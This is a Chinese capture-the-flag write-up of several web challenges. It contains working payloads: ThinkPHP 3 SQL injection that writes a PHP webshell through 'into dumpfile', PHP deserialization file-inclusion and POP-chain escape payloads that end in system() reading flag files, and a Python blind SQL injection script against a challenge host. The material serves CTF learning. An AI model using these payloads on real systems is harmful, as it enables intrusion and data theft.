考點:SQL注入寫Webshellphp
網站是TP3的框架,在網上找到了Payload:?id[0]=exp&id[1]==1 or sleep(5)
,網站打開遊戲後,觀察URL發現參數變成了gameId
,一開始感受是SQL注入,可是ban掉了太多函數和語句,其中包括了where關鍵字
讓人感受不是盲注了html
接着出題人給出了兩個Hintpython
1.flag不在數據庫裏,嘗試寫shell 2.sql查詢語句是 select * from game where id = 1 遊戲名和遊戲id是一張表的不一樣字段 配合修改遊戲名功能寫shell
咱們知道要經過寫Webshell得到flag,而後第二點就是payload能夠修改遊戲名能夠配合寫入shellmysql
不過SQL寫入的操做仍是不少都被Ban了,測試後發現dumpfile還能夠用,根據它給出的SQL查詢語句,咱們能夠拼出 select * from game where id =2 into dumpfile "/var/www/html/shell.php"#
,得到Payload爲/index.php/Home/Game/gameinfo/?gameId[0]=exp&gameId[1]==2 into dumpfile "/var/www/html/shell.php"#
,接着訪問shell.php看到了21shengdan,而後對應修改遊戲名爲<?php phpinfo()?>
再打一次,在phpinfo中找到flagweb
考點:反序列化sql
兩題用同一個Payload打通,一開始都是混淆視聽的代碼,主要代碼部分shell
class Happy{ public $file='flag.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } } function ezwaf($data){ if (preg_match("/ctfshow/",$data)){ die("Hacker !!!"); } return $data; } if(isset($_GET["w_a_n"])) { @unserialize(ezwaf($_GET["w_a_n"])); } else { new CTFSHOW("lookme", array()); }
經過Happy類的__destruct魔術方法,存在文件包含的漏洞,這裏經過php僞協議進行源碼讀取數據庫
<?php class Happy{ public $file='php://filter/read=convert.base64-encode/resource=/flag'; } echo serialize(new Happy()); ?> //Payload:?w_a_n=O:5:"Happy":1:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";}
考點:SQL盲注中文字符,特殊字符@json
一個登陸窗口還有一個忘記密碼的功能,登陸只會報錯登陸失敗,後來發現忘記密碼會有不一樣的回顯,如admin' AND 1=1#
回顯有帶個P,但admin' AND 1=0#
回顯用戶不存在。沒有什麼過濾,因此很好作,惟一有點坑的地方就是中文數據庫,這個得用hex()轉成十六進制來得到內容,還有一個就是列名是what@you@want,存在@的特殊字符,得用反引號括起來,上腳本(腳本沒使用二分法,又遜又慢!賽後太空人師傅跟我說sqlmap就能夠注入出來!!!學好工具真的好用)數組
#!/usr/bin/env python # -*- coding:utf-8 -*- import requests url = 'http://f78d13d1-a633-49d7-a33d-0c6caa352b1d.chall.ctf.show:8080/forgot.php' s = 0 for x in range(1,500): data = { #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema='mysql'))={})#".format(x) #'username': "admin'AND 1=(length((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'))={})#".format(x) #'username': "admin'AND 1=(length((Select group_concat(flagnothere) from user))={})#".format(x) #'username': "admin'AND 1=(length((Select group_concat(passw0rd) from user))={})#".format(x) #'username': "admin'AND 1=(length((select group_concat(schema_name) from information_schema.schemata))={})#".format(x) # 1.得到數據庫 'username': "admin'AND 1=(length((select HEX(group_concat(schema_name)) from information_schema.schemata))={})#".format(x) # 2.得到表名 #'username': "admin'AND 1=(length((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)))={})#".format(x) # 3.得到列名 #'username': "admin'AND 1=(length((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'))={})#".format(x) # 4.得到內容,由於有@關鍵字符,用``反引號括起來 #'username': "admin'AND 1=(length((Select HEX(group_concat(`what@you@want`)) from 測試.15665611612))={})#".format(x) } res = requests.post(url=url, data=data) if " :P" in res.text: s = x + 1 break print s flag = '' for i in range(1,s): for j in range(34,255): data ={ #'username':"admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='mysql'),{},1))={})#".format(i,j) #'username': "admin'AND 1=(ascii(substr((Select group_concat(column_name) From information_schema.columns Where table_schema=database() AND table_name='user'),{},1))={})#".format(i, j) #'username': "admin'AND 1=(ascii(substr((Select group_concat(flagnothere) from user),{},1))={})#".format(i, j) #'username': "admin'AND 1=(ascii(substr((Select group_concat(passw0rd) from user),{},1))={})#".format(i, j) #'username': "admin'AND 1=(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={})#".format(i, j) #1.得到數據庫 'username': "admin'AND 1=(ascii(substr((select HEX(group_concat(schema_name)) from information_schema.schemata),{},1))={})#".format(i, j) # 2.得到表名 #'username': "admin'AND 1=(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2)),{},1))={})#".format(i, j) #3.得到列名 #'username': "admin'AND 1=(ascii(substr((select group_concat(column_name) From information_schema.columns where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),35,2) AND table_name='15665611612'),{},1))={})#".format(i, j) #4.得到內容,由於有@關鍵字符,用``反引號括起來 #'username': "admin'AND 1=(ascii(substr((Select HEX(group_concat(`what@you@want`)) from `測試`.`15665611612`),{},1))={})#".format(i,j) #十六進制轉字符串(含中文)的在線解碼網址:http://www.bejson.com/convert/ox2str/ } res = requests.post(url=url,data=data) #print res.text if "P" in res.text: flag += chr(j) break print flag #print str(i) + flag
考點:弱口令、PHP僞協議、反序列化逃逸
這題不必定能講的很清楚,若是仍是不理解能夠私信我!
一開始是登陸界面,隨意登錄給了提示說登錄有驚喜,嘗試後發現是弱口令登錄admin/admin888
,可是沒有什麼變化,而後就偷偷摸摸掃了後臺,得到了hint.php和class.php,而且在hint中存在Here are some key messages that are hidden but u can't read u may try other ways to read this file to get hints
,應該是要用別的方式訪問
給出了Hint:注意背景圖片
經過背景圖片能夠知道存在一個lookMe.php的文件可能存在文件包含的漏洞,訪問一下得到源碼
<?php error_reporting(0); if ($_GET['file']){ $filename = $_GET['file']; if ($filename=='logo.png'){ header("Content-Type:image/png"); echo file_get_contents("./static/img/logo.png"); }else{ ini_set('open_basedir','./'); if ($filename=='hint.php'){ echo 'nononono!'; } else{ if(preg_match('/read|[\x00-\x2c]| |flag|\.\.|\.\//i', $filename)){ echo "hacker"; }else{ include($filename); } } } }else{ highlight_file(__FILE__); }
過濾內容:read
、%00-%2C
、
、flag
、..
這些內容,可是php僞協議並無過濾死,在讀文件時能夠不寫read,以下圖所示
讀了hint.php後給了ezwaf.php
、class.php
、index.php
、lookMe.php
,而後依次讀取源碼,下面僅截取有用的部分
ezwaf.php
<?php function get($data){ $data = str_replace('forfun', chr(0)."*".chr(0), $data); return $data; } function checkData($data){ if(stristr($data, 'username')!==False&&stristr($data, 'password')!==False){ die("fuc**** hacker!!!\n"); } else{ return $data; } } function checkLogData($data){ if (preg_match("/register|magic|PersonalFunction/",$data)){ die("fuc**** hacker!!!!\n"); } else{ return $data; } }
看到第一個get()函數時猜想反序列化逃逸,後面兩個是過濾函數,checkData($data)函數中的stristr()函數
對大小寫敏感,若是是在反序列化逃逸的過濾可能存在繞過的方式經過將字符串的s類型改成S,能夠對十六進制進行解碼
;checkLogData($data)中的preg_match("/register|magic|PersonalFunction/",$data)
並無i模式
因此對大小寫不敏感,類名能夠經過改變大小寫不影響
index.php
<?php include "class.php"; include "ezwaf.php"; session_start(); $username = $_POST['username']; $password = $_POST['password']; $finish = false; if ($username!=null&&$password!=null){ $serData = checkLogData(checkData(get(serialize(new Login($username,$password))))); $login = unserialize($serData); $loginStatus = $login->checkStatus(); if ($loginStatus){ $_SESSION['login'] = true; $_COOKIE['status'] = 0; } $finish = true; } ?>
這裏知道了接收Login類,而後也驗證了反序列化逃逸的論證
class.php
<?php error_reporting(0); class Login{ protected $user_name; protected $pass_word; protected $admin; public function __construct($username,$password){ $this->user_name=$username; $this->pass_word=$password; if ($this->user_name=='admin'&&$this->pass_word=='admin888'){ $this->admin = 1; }else{ $this->admin = 0; } } public function checkStatus(){ return $this->admin; } } class register{ protected $username; protected $password; protected $mobile; protected $mdPwd; public function __construct($username,$password,$mobile,$mdPwd){ $this->username = $username; $this->password = $password; $this->mobile = $mobile; $this->$mdPwd = $mdPwd; //初始化時須要傳一個magic類進來 } public function __toString(){ //__toString()魔術方法用於把類看成字符串時觸發 return $this->mdPwd->pwd; //這裏若是$this->mdPwd是magic類,類中沒有pwd爲不可訪問屬性會觸發__get() } } class magic{ protected $username = 'admin'; //從下面的__get魔術方法中需$username爲admin,否則就退出 public function __get($key){ //__get()魔術方法用於從不可訪問的屬性讀取數據 if ($this->username!=='admin'){ die("what do you do?"); } $this->getFlag($key); } public function getFlag($key){ echo $key."</br>"; system("cat /flagg"); } } class PersonalFunction{ protected $username; protected $password; protected $func = array(); public function __construct($username, $password,$func){ $this->username = $username; $this->password = $password; $this->func = $func; //修改$func初始化,讓他傳入一個包含register類的數組,這樣經過checkFunction函數來觸發__toString魔術方法 } public function checkFunction(array $funcBars) { $retData = null; $personalProperties = array_flip([ 'modifyPwd', 'InvitationCode', 'modifyAvatar', 'personalData', ]); foreach ($personalProperties as $item => $num){ foreach ($funcBars as $funcBar => $stat) { if (stristr($stat,$item)){ //這裏的stristr會把$stat看成一個字符,能夠符合__toString()觸發的條件 $retData = true; } } } return $retData; } public function doFunction($function){ // TODO: 出題人提示:一個未完成的功能,不用管這個,單純爲了邏輯嚴密. return true; } public function __destruct(){ //__destruct()魔術方法在對象銷燬時觸發 $retData = $this->checkFunction($this->func); //這裏恰好能夠觸發 $this->doFunction($retData); } }
上面的代碼我進行了備註和修改,主要爲了觸發POP鏈的效果;POP鏈的利用順序在下圖,從紅框開始,跟着箭頭走便可。
POP鏈構建順序
$a = new magic(); $b = new register('atao','123456','1',$a); $c = array($b); $d = new PersonalFunction('atao','123456',$c);
剩下一個反序列化逃逸,這裏咱們知道是將forfun
轉成 chr(0)."*".chr(0)
,也就是6個字符轉成3個字符
O:5:"Login":3:{s:12:" * user_name";s:4:"atao";s:12:" * pass_word";s:354:"aaa1";S:12:"\00*\00pass_word";O:16:"PersonalFunction":3:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"register":4:{S:11:"\00*\00username";S:4:"atao";S:11:"\00*\00password";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"magic":1:{S:11:"\00*\00username";S:5:"admin";}}}};s:5:"admin";s:8:" * admin";i:0;}
這裏黃色部分是要被吃掉的字符串,紅色部分是Payload部分,橙色則是補全後面內容的操做(博客上看這部分可能沒變色,見諒)
這裏紅框中的數字要和後面的字符串中的字符數量相同,假設一開始咱們傳入n個forfun進去,則會有6*n個字符,可是經過get函數後,變成了3*n個字符,再進行反序列化時由於本來的字符數量不夠了會繼續日後吃,則上面黃色部分就是用來這些被吃掉的
而後用紅色部分補上了Login類中的pass_word屬性。這樣反序列化後就會生成一個PersonalFunction對象,而後在銷燬時觸發POP鏈
這裏須要填幾個forfun本身算一下,經過";s:12:" * pass_word";s:354:"aaa1
計算爲33個字符,則須要11個forfun
最後注意的是兩個過濾函數,繞過的方法上面給了
Payload以下
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=aaaa";S:12:"\00*\00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:7:"\00*\00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75\73ername";S:4:"atao";S:11:"\00*\00\70\61ssword";S:6:"123456";S:9:"\00*\00mobile";S:1:"1";S:8:"\00*\00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75\73ername";S:5:"admin";}}}};s:5:"admin
真的就沒有完成,AK失敗,得學習一下NodeJS,只知道原型污染鏈和一些Trick,其餘的還不瞭解。